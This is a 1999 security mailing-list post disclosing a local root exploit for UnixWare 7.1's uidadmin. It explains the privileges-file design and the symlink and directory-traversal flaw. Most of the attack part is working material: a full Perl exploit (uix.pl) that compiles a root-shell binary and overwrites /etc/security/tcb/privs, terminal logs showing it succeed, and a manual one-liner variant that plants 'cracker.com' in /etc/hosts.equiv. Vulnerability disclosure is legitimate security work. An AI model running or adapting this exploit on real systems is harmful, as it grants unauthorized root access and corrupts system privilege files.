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UnixWare 7 uidadmin exploit + discussion
From: btellier () USA NET (Brock Tellier)
Date: Thu, 2 Dec 1999 09:01:10 MST


Greetings,

OVERVIEW
SCO UnixWare 7.1's sgid-sys /usr/bin/uidadmin will allow any user to gain root
privileges as a result of it's ability to write *ANY* file, not just those
traditionally writable by gid-sys.

BACKGROUND
All of my testing was done on UnixWare 7.1, no other versions have been tested
although 7.x is assumed to be vulnerable as well.  

DETAILS

UnixWare's system privileges are assigned two-fold.  First, it has the
standard UNIX suid/sgid conventions.  Second, it has a list of programs and
the additional privileges they gain when run in /etc/security/tcb/privs.  

For instance, /usr/bin/ping is *not* suid/sgid
but may still perform raw socket operations because it gains the "driver" 
privilege in the privs file.  Even ln, cp, mkdir and so on must have
filesystem modification privileges in this file in order to perform their
respective functions.

A program which has "allprivs" defined in /etc/security/tcb/privs may perform
any operation as though this program was suid-root.  If we are able to 
overflow a buffer, for instance, in one of these allprivs programs, we could
run shellcode normally, but only after we've set our uid to 0.  Similarly if
we overflowed ping, we could do all the socket operations we want, but we
could NOT gain root access.

The uidadmin program does not have allprivs defined, so we cannot just cut to
the setreuid(0,0) chase and execute our shell.  uidadmin does, however, have
the dacwrite privilege and can therefore override all of the normal UNIX DAC
(Discretionary Access Control) security precautions (including filemode
bits).

Because of the way uidadmin opens "uidata.tmp", we can only either create a
file with any contents we desire anywhere on the system (as long as it doesn't
exist) or overwrite an existing file with our string.

In this way we can add our own program to the privs file by using a symlink
exploit in uidadmin to overwrite it.  The only problem with this is that
simply placing our program in the file is not enough.  The filepriv() function
must be called by root or a process with the appropriate privs permission and
assign the file to the kernel's privileged file table.  This can also be
accomplished by 

running "initprivs", which is not world executable.  The good
news is that the privileged file table is re-created from the privs file at
every boot, so if we run our exploit and have some patience, we'll eventually
get our rootshell.

The convention for a program in /etc/security/tcb/privs is 
SizeInBytes:Checksum:CTimeSinceEpoch:PrivsToGain:/Full/Path/To/File
size and time can be gotten with the standard stat(2) st_size and st_ctime
The checksum uses sum(1)'s alternate machine-dependant algorythm (sum -r).

For more information on UnixWare's wacky privileges system, see the man pages
for Intro(2), priv, and filepriv(2).

The actual symlink exploit goes like this: by specifying a scheme name as a
reverse-directory-transversal name from /etc/uidadmindir (such as
uidadmin -S ../../tmp, we can force uidadmin to look for our version of
uidata. If this file exists, and you have specified the "-a -r bah" options,
uidadmin will create or overwrite a file named "uidata.tmp" with the data from
"uidata". By placing our string in uidata and making a symlink from uidata.tmp
to anywhere, we can overwrite system files and gain root privileges.

EXPLOIT

A warning about the uix.pl exploit:
uix.pl will overwrite /etc/security/tcb/privs with a single entry.  All other
entries will be lost and thus the next time the kernel permissions table is
rebuilt, you will not be able to run any programs (as a regular user) with the
permissions they had before the reboot.  I.E. ping won't work because it
doesn't gain "driver" privileges anymore.

To get around this, make sure you login immediatly after reboot, execute your
rootshell and "cat /etc/security/tcb/oprivs >> /etc/security/tcb/privs" then
run "initprivs" to re-install all privileged programs. 

bash-2.02$ id
uid=106(xnec) gid=1(other)
bash-2.02$ ls -la /usr/bin/uidadmin
-r-xr-s--x    1 sys      sys           18012 Apr  3  1998 /usr/bin/uidadmin
bash-2.02$ ./uix.pl

* uidadmin exploit for UnixWare 7.1 <btellier () usa net>

/home/xnec/ui successfully compiled
/home/xnec/ui size=3760 ctime=944185049
/home/xnec/ui checksum is 16136
placing '3760:16136:944185049:%fixed,allprivs:/home/xnec/ui' into /tmp/uidata
UX:uidadmin: ERROR: mandatory field(s) missing
Exploit successful. Run /home/xnec/ui after reboot for rootshell 
bash-2.02$

AFTER REBOOT:
bash-2.02$ ./ui
# 

--- uix.pl ---
#!/usr/bin/perl

###########################################################
# /usr/bin/uidadmin exploit for UnixWare 7.1
# Uses a symlink exploit to add our program to a list of elevated privileges
# programs in /etc/security/tcb/privs.  After reboot, /tmp/ui will be added
# to the list of privileged programs.
#
# Format of the privs file is as follows (ctime and size are just as
# st_ctime and st_size as described by stat(2)):
# size:checksum:time:perms:/full/path/to/prog
#
# -Brock Tellier btellier () usa net
#
###########################################################

$ui_source = "/home/xnec/ui.c";
$ui_dest = "/home/xnec/ui";
$ui_code = "void main() { setreuid(0,0); system(\"/bin/ksh\");}";
$privloc = "/etc/security/tcb/privs";
$uidatafile="/tmp/uidata";
$sumpath = "/usr/bin/sum";
$uidata_sym = "/tmp/uidata.tmp";
$compiler = "cc";
$uidadmin = "/usr/bin/uidadmin";

###
# Path to the directory where your $uidata_sym will exist relative to
# /etc/uidata/
###
$uidadminarg = "../../tmp";

print("\n* uidadmin exploit for UnixWare 7.1 <btellier\ () usa net>\n\n");

###
# Output $ui_code to $ui_source and compile into $ui_dest
###

open(UIS, ">$ui_source");
printf(UIS "$ui_code\n");
close(UIS);
system ("$compiler -o $ui_dest $ui_source");
if ( -e $ui_dest ) {
   print("\n$ui_dest successfully compiled\n");
}
   else { die "error compiling $ui_dest"; }

###
# stat $ui_dest for size in bytes and ctime (seconds since epoch)
###

$size=(stat($ui_dest))[7] || die "cannot stat $ui_dest";
$ctime=(stat($ui_dest))[10];
print("$ui_dest size=$size ctime=$ctime\n");

###
# get the checksum value for $ui_dest
###

open(SUM, "$sumpath -r $ui_dest|");
$checksum=<SUM>;
chomp($checksum);
@sumfields=split(' ', $checksum);
$chksum = @sumfields[0];
$chksum =~ s/^0//;

print("$ui_dest checksum is $chksum\n");

###
# Put our entry into $uidatafile, use trailing newline
###

$uidata="$size:$chksum:$ctime:\%fixed,allprivs:$ui_dest";
print("placing '$uidata' into $uidatafile\n");
open(TMP, ">$uidatafile");
print(TMP "$uidata\n");
close(TMP);

###
# Create symlink from $uidata_sym to $privloc
###
symlink($privloc, $uidata_sym);

###
# All the preparation is done, launch the exploit
###

system("$uidadmin -S $uidadminarg -a -r bah");

###
# Find out if the exploit worked, assume it did if $ui_dest is in $privloc
###

open (PRIV, "$privloc");
@privs = <PRIV>;
foreach $priv (@privs) {
   if ($priv =~ /$ui_dest/) {
      print("Exploit successful. Run $ui_dest after reboot for rootshell
\n");
      exit(0);
   }
}
print("Exploit not successful, sorry!\n");

--- /uix.pl ----

--- for those with little patience ---

bash-2.02$ id              
uid=106(xnec) gid=1(other)
bash-2.02$ ls -la /etc/hosts.equiv
UX:ls: ERROR: Cannot access /etc/hosts.equiv: No such file or directory
bash-2.02$ ls -la /usr/bin/uidadmin
-r-xr-s--x    1 sys      sys           18012 Apr  3  1998 /usr/bin/uidadmin
bash-2.02$ ln -s /etc/hosts.equiv /tmp/uidata.tmp
bash-2.02$ echo "cracker.com" > /tmp/uidata
bash-2.02$ /usr/bin/uidadmin -S ../../tmp -a -r bah
UX:uidadmin: ERROR: mandatory field(s) missing
bash-2.02$ cat /etc/hosts.equiv
cracker.com
bash-2.02$ ls -al /etc/hosts.equiv
-rw-rw-r--    1 sys      sys              12 Dec  2 19:05 /etc/hosts.equiv
bash-2.02$ 

--- /patience ---

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier () usa net

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